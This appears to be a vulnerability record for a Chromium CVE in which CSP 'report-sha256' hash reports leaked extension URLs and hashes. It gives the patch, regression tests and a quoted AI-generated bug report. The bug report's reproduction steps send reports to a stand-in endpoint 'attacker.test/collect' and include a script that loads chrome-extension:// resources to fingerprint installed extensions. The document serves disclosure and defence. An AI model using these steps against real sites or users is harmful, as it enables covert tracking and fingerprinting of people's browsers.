CVE-2026-17788
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
MockReportingContextthird_party/blink/renderer/core/frame/csp/content_security_policy_test.cc |
modified | |
ContentSecurityPolicyTestthird_party/blink/renderer/core/frame/csp/content_security_policy_test.cc |
modified | |
TEST_Fthird_party/blink/renderer/core/frame/csp/content_security_policy_test.cc |
modified | |
TESTthird_party/blink/renderer/core/frame/report_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/frame/csp/content_security_policy.ccthird_party/blink/renderer/core/frame/csp/content_security_policy_test.ccthird_party/blink/renderer/core/frame/csp/csp_hash_report_body.ccthird_party/blink/renderer/core/frame/csp/csp_hash_report_body.hthird_party/blink/renderer/core/frame/report_test.cc
Patch
From ffb06083210ee070380e53027a21efa2b6bfeb4f Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <apaseltiner@chromium.org>
Date: Wed, 10 Jun 2026 15:05:48 -0700
Subject: [PATCH] Block and sanitize CSP hash reports from extension resources
Fixed: 513824957
Change-Id: I7b2ae2c8030ac8fd9ead059afebde519a80c494e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7876027
Reviewed-by: Arthur Sonzogni <arthursonzogni@chromium.org>
Commit-Queue: Andrew Paseltiner <apaseltiner@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1644908}
---
diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
index 9ed9f924..181462e9 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
@@ -756,7 +756,10 @@
}
CSPHashReportBody* body = MakeGarbageCollected<CSPHashReportBody>(
- url, integrity_hash, "subresource", "script");
+ StripURLForUseInReport(
+ window->GetContentSecurityPolicyDelegate().GetSecurityOrigin(),
+ KURL(url), CSPDirectiveName::DefaultSrc),
+ integrity_hash, "subresource", "script");
Report* report_to_queue = MakeGarbageCollected<Report>(
ReportType::kCSPHash,
StripURLForUseInReport(
diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
index 40b04c0..8672078 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
@@ -17,9 +17,12 @@
#include "third_party/blink/renderer/core/dom/document.h"
#include "third_party/blink/renderer/core/dom/document_init.h"
#include "third_party/blink/renderer/core/frame/csp/csp_directive_list.h"
+#include "third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h"
#include "third_party/blink/renderer/core/frame/csp/test_util.h"
#include "third_party/blink/renderer/core/frame/local_dom_window.h"
#include "third_party/blink/renderer/core/frame/local_frame.h"
+#include "third_party/blink/renderer/core/frame/report.h"
+#include "third_party/blink/renderer/core/frame/reporting_context.h"
#include "third_party/blink/renderer/core/html/html_script_element.h"
#include "third_party/blink/renderer/core/inspector/console_message.h"
#include "third_party/blink/renderer/core/testing/dummy_page_holder.h"
@@ -44,6 +47,25 @@
using testing::Contains;
using testing::SizeIs;
+class MockReportingContext : public ReportingContext {
+ public:
+ explicit MockReportingContext(ExecutionContext& ec) : ReportingContext(ec) {}
+
+ void QueueReport(Report* report, const Vector<String>& endpoints) override {
+ reports_.push_back(report);
+ }
+
+ const HeapVector<Member<Report>>& reports() const { return reports_; }
+
+ void Trace(Visitor* visitor) const override {
+ visitor->Trace(reports_);
+ ReportingContext::Trace(visitor);
+ }
+
+ private:
+ HeapVector<Member<Report>> reports_;
+};
+
} // namespace
class ContentSecurityPolicyTest : public testing::Test {
@@ -1906,4 +1928,50 @@
EXPECT_FALSE(ContentSecurityPolicy::AllowBaseURI(blocked_base, policies));
}
+// Regression test for crbug.com/513824957.
+TEST_F(ContentSecurityPolicyTest, AddHashReportSanitization) {
+ auto dummy = std::make_unique<DummyPageHolder>();
+ auto* window = dummy->GetFrame().DomWindow();
+ window->GetSecurityContext().SetSecurityOriginForTesting(secure_origin);
+
+ auto* mock_reporting_context =
+ MakeGarbageCollected<MockReportingContext>(*window);
+ Supplement<ExecutionContext>::ProvideTo(*window, mock_reporting_context);
+
+ csp = MakeGarbageCollected<ContentSecurityPolicy>();
+ csp->BindToDelegate(window->GetContentSecurityPolicyDelegate());
+ csp->AddPolicies(ParseContentSecurityPolicies(
+ "script-src 'report-sha256'", ContentSecurityPolicyType::kEnforce,
+ ContentSecurityPolicySource::kHTTP, *secure_origin));
+
+ HashMap<HashAlgorithm, String> hashes;
+ hashes.insert(kHashAlgorithmSha256, "some-hash");
+
+ // An extension URL should be sanitized in the report.
+ KURL extension_url("chrome-extension://abcdefghijklmnop/script.js");
+ csp->AddHashReportIfNeeded(&dummy->GetFrame(), extension_url.GetString(),
+ hashes);
+
+ EXPECT_EQ(1u, mock_reporting_context->reports().size());
+ Report* report = mock_reporting_context->reports()[0];
+ EXPECT_EQ(ReportType::kCSPHash, report->type());
+
+ CSPHashReportBody* body = static_cast<CSPHashReportBody*>(report->body());
+ // This expectation will FAIL if url is not sanitized.
+ // It should be "chrome-extension" (just the scheme) according to
+ // StripURLForUseInReport.
+ EXPECT_EQ("chrome-extension", body->subresourceURL());
+
+ // A web URL should also be processed (e.g., stripping fragment).
+ KURL web_url("https://example.test/script.js#fragment");
+ csp->AddHashReportIfNeeded(&dummy->GetFrame(), web_url.GetString(), hashes);
+
+ EXPECT_EQ(2u, mock_reporting_context->reports().size());
+ report = mock_reporting_context->reports()[1];
+ body = static_cast<CSPHashReportBody*>(report->body());
+ // This expectation will also FAIL if url is not sanitized (fragment will
+ // remain).
+ EXPECT_EQ("https://example.test/script.js", body->subresourceURL());
+}
+
} // namespace blink
diff --git a/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.cc b/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.cc
index 7b98f43..747306b 100644
--- a/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.cc
+++ b/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.cc
@@ -4,8 +4,17 @@
#include "third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h"
+#include "third_party/blink/public/common/scheme_registry.h"
+
namespace blink {
+bool CSPHashReportBody::IsExtensionSource() const {
+ // In production, extension URLs are stripped to just their scheme by
+ // ContentSecurityPolicy::StripURLForUseInReport. Thus, we can just check if
+ // the subresource_url_ string is a registered extension scheme.
+ return CommonSchemeRegistry::IsExtensionScheme(subresource_url_.Utf8());
+}
+
void CSPHashReportBody::BuildJSONValue(V8ObjectBuilder& builder) const {
builder.AddStringOrNull("subresourceURL", subresource_url_);
builder.AddStringOrNull("hash", hash_);
diff --git a/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h b/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h
index fc2738b..8b5ba67 100644
--- a/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h
+++ b/third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h
@@ -27,6 +27,7 @@
const String& type() const { return type_; }
const String& destination() const { return destination_; }
void BuildJSONValue(V8ObjectBuilder& builder) const override;
+ bool IsExtensionSource() const override;
private:
const String subresource_url_;
diff --git a/third_party/blink/renderer/core/frame/report_test.cc b/third_party/blink/renderer/core/frame/report_test.cc
index 2d14342..b6875ec 100644
--- a/third_party/blink/renderer/core/frame/report_test.cc
+++ b/third_party/blink/renderer/core/frame/report_test.cc
@@ -8,6 +8,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/public/common/scheme_registry.h"
+#include "third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h"
#include "third_party/blink/renderer/core/frame/document_policy_violation_report_body.h"
#include "third_party/blink/renderer/core/frame/location_report_body.h"
#include "third_party/blink/renderer/core/frame/permissions_policy_violation_report_body.h"
@@ -115,5 +116,23 @@
.ShouldSendReport());
}
+// Regression test for crbug.com/513824957.
+TEST(ReportTest, CSPHashExtensionURLsAreNotReported) {
+ CommonSchemeRegistry::RegisterURLSchemeAsExtension("chrome-extension");
+ // A report for a web URL should be sent.
+ EXPECT_TRUE(Report(ReportType::kCSPHash, "https://example.com/",
+ MakeGarbageCollected<CSPHashReportBody>(
+ "https://example.com/script.js", "hash", "type",
+ "destination"))
+ .ShouldSendReport());
+ // A report for an extension URL should NOT be sent.
+ // This test will FAIL if CSPHashReportBody does not override
+ // IsExtensionSource.
+ EXPECT_FALSE(Report(ReportType::kCSPHash, "https://example.com/",
+ MakeGarbageCollected<CSPHashReportBody>(
+ "chrome-extension", "hash", "type", "destination"))
+ .ShouldSendReport());
+}
+
} // namespace
} // namespace blink
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
index 40b04c0..8672078 100644
--- a/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
+++ b/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc
@@ -17,9 +17,12 @@
#include "third_party/blink/renderer/core/dom/document.h"
#include "third_party/blink/renderer/core/dom/document_init.h"
#include "third_party/blink/renderer/core/frame/csp/csp_directive_list.h"
+#include "third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h"
#include "third_party/blink/renderer/core/frame/csp/test_util.h"
#include "third_party/blink/renderer/core/frame/local_dom_window.h"
#include "third_party/blink/renderer/core/frame/local_frame.h"
+#include "third_party/blink/renderer/core/frame/report.h"
+#include "third_party/blink/renderer/core/frame/reporting_context.h"
#include "third_party/blink/renderer/core/html/html_script_element.h"
#include "third_party/blink/renderer/core/inspector/console_message.h"
#include "third_party/blink/renderer/core/testing/dummy_page_holder.h"
@@ -44,6 +47,25 @@
using testing::Contains;
using testing::SizeIs;
+class MockReportingContext : public ReportingContext {
+ public:
+ explicit MockReportingContext(ExecutionContext& ec) : ReportingContext(ec) {}
+
+ void QueueReport(Report* report, const Vector<String>& endpoints) override {
+ reports_.push_back(report);
+ }
+
+ const HeapVector<Member<Report>>& reports() const { return reports_; }
+
+ void Trace(Visitor* visitor) const override {
+ visitor->Trace(reports_);
+ ReportingContext::Trace(visitor);
+ }
+
+ private:
+ HeapVector<Member<Report>> reports_;
+};
+
} // namespace
class ContentSecurityPolicyTest : public testing::Test {
@@ -1906,4 +1928,50 @@
EXPECT_FALSE(ContentSecurityPolicy::AllowBaseURI(blocked_base, policies));
}
+// Regression test for crbug.com/513824957.
+TEST_F(ContentSecurityPolicyTest, AddHashReportSanitization) {
+ auto dummy = std::make_unique<DummyPageHolder>();
+ auto* window = dummy->GetFrame().DomWindow();
+ window->GetSecurityContext().SetSecurityOriginForTesting(secure_origin);
+
+ auto* mock_reporting_context =
+ MakeGarbageCollected<MockReportingContext>(*window);
+ Supplement<ExecutionContext>::ProvideTo(*window, mock_reporting_context);
+
+ csp = MakeGarbageCollected<ContentSecurityPolicy>();
+ csp->BindToDelegate(window->GetContentSecurityPolicyDelegate());
+ csp->AddPolicies(ParseContentSecurityPolicies(
+ "script-src 'report-sha256'", ContentSecurityPolicyType::kEnforce,
+ ContentSecurityPolicySource::kHTTP, *secure_origin));
+
+ HashMap<HashAlgorithm, String> hashes;
+ hashes.insert(kHashAlgorithmSha256, "some-hash");
+
+ // An extension URL should be sanitized in the report.
+ KURL extension_url("chrome-extension://abcdefghijklmnop/script.js");
+ csp->AddHashReportIfNeeded(&dummy->GetFrame(), extension_url.GetString(),
+ hashes);
+
+ EXPECT_EQ(1u, mock_reporting_context->reports().size());
+ Report* report = mock_reporting_context->reports()[0];
+ EXPECT_EQ(ReportType::kCSPHash, report->type());
+
+ CSPHashReportBody* body = static_cast<CSPHashReportBody*>(report->body());
+ // This expectation will FAIL if url is not sanitized.
+ // It should be "chrome-extension" (just the scheme) according to
+ // StripURLForUseInReport.
+ EXPECT_EQ("chrome-extension", body->subresourceURL());
+
+ // A web URL should also be processed (e.g., stripping fragment).
+ KURL web_url("https://example.test/script.js#fragment");
+ csp->AddHashReportIfNeeded(&dummy->GetFrame(), web_url.GetString(), hashes);
+
+ EXPECT_EQ(2u, mock_reporting_context->reports().size());
+ report = mock_reporting_context->reports()[1];
+ body = static_cast<CSPHashReportBody*>(report->body());
+ // This expectation will also FAIL if url is not sanitized (fragment will
+ // remain).
+ EXPECT_EQ("https://example.test/script.js", body->subresourceURL());
+}
+
} // namespace blink
diff --git a/third_party/blink/renderer/core/frame/report_test.cc b/third_party/blink/renderer/core/frame/report_test.cc
index 2d14342..b6875ec 100644
--- a/third_party/blink/renderer/core/frame/report_test.cc
+++ b/third_party/blink/renderer/core/frame/report_test.cc
@@ -8,6 +8,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/public/common/scheme_registry.h"
+#include "third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h"
#include "third_party/blink/renderer/core/frame/document_policy_violation_report_body.h"
#include "third_party/blink/renderer/core/frame/location_report_body.h"
#include "third_party/blink/renderer/core/frame/permissions_policy_violation_report_body.h"
@@ -115,5 +116,23 @@
.ShouldSendReport());
}
+// Regression test for crbug.com/513824957.
+TEST(ReportTest, CSPHashExtensionURLsAreNotReported) {
+ CommonSchemeRegistry::RegisterURLSchemeAsExtension("chrome-extension");
+ // A report for a web URL should be sent.
+ EXPECT_TRUE(Report(ReportType::kCSPHash, "https://example.com/",
+ MakeGarbageCollected<CSPHashReportBody>(
+ "https://example.com/script.js", "hash", "type",
+ "destination"))
+ .ShouldSendReport());
+ // A report for an extension URL should NOT be sent.
+ // This test will FAIL if CSPHashReportBody does not override
+ // IsExtensionSource.
+ EXPECT_FALSE(Report(ReportType::kCSPHash, "https://example.com/",
+ MakeGarbageCollected<CSPHashReportBody>(
+ "chrome-extension", "hash", "type", "destination"))
+ .ShouldSendReport());
+}
+
} // namespace
} // namespace blink
Original Bug Report
Extension ID and Hash Leak via CSP 'report-sha256' in Reporting API
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The CSPHashReportBody class fails to override the IsExtensionSource method and lacks URL sanitization, potentially allowing malicious websites to identify installed extensions. By triggering CSP hash reports for chrome-extension:// resources, an attacker can exfiltrate full extension URLs and script hashes to a third-party endpoint.
Affected files:
third_party/blink/renderer/core/frame/csp/csp_hash_report_body.hthird_party/blink/renderer/core/frame/csp/content_security_policy.ccthird_party/blink/renderer/core/frame/report.cc
Estimated timestamp from git blame: 2024-12-06
Summary
A potential vulnerability has been identified in Blink’s implementation of the CSP report-sha256 directive. Due to a missing security check override and a failure to sanitize subresource URLs, the Reporting API may leak the identities and exact versions of installed extensions to web origins.
Root Cause Analysis
Chromium utilizes a security gate in Report::ShouldSendReport() (third_party/blink/renderer/core/frame/report.cc) to prevent the disclosure of extension-originated URLs to web-controlled reporting endpoints:
bool Report::ShouldSendReport() const {
// Don't report any URLs from extension code.
return !body()->IsExtensionSource();
}
The IsExtensionSource() method is a virtual function in ReportBody that defaults to false. While other privacy-sensitive report types (like CSPViolationReportBody) override this via LocationReportBody, the recently added CSPHashReportBody (third_party/blink/renderer/core/frame/csp/csp_hash_report_body.h) does not. This allows reports triggered by extension resources to bypass the filter.
Additionally, in ContentSecurityPolicy::AddHashReportIfNeeded (third_party/blink/renderer/core/frame/csp/content_security_policy.cc), the subresource URL is included in the report body without being processed by StripURLForUseInReport(). This ensures that the full extension URL—including the unique extension ID and internal file paths—is sent to the reporting endpoint instead of being stripped to the scheme (e.g., chrome-extension).
Potential Impact
A malicious web page could potentially use this bypass to fingerprint a user’s environment:
- Extension Identification: By attempting to load scripts from known extension IDs (e.g., via
web_accessible_resources), the site can confirm which extensions are installed based on whether a report is received. - Version Fingerprinting: The report includes the SHA-256 hash of the script, which can be compared against a database of known extension versions to determine the exact version installed.
Suggested Reproduction Steps
Note: These steps are based on code analysis; a functional PoC has not been executed.
- Serve a web page with the following headers:
Reporting-Endpoints: r="https://attacker.test/collect"Content-Security-Policy-Report-Only: script-src * 'report-sha256'; report-to r
- Attempt to load a known extension resource via a script tag:
var s = document.createElement('script'); s.src = 'chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]'; document.body.appendChild(s); - Monitor the reporting endpoint for a
csp-hashreport containing the fullchrome-extension://URL and the script’s SHA-256 hash.
Recommended Fix
- Override
IsExtensionSource()inCSPHashReportBodyto returntrueif thesubresource_url_has an extension scheme. - In
ContentSecurityPolicy::AddHashReportIfNeeded, wrap theurlinStripURLForUseInReport()before passing it to theCSPHashReportBodyconstructor to ensure proper sanitization of non-web schemes.
Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.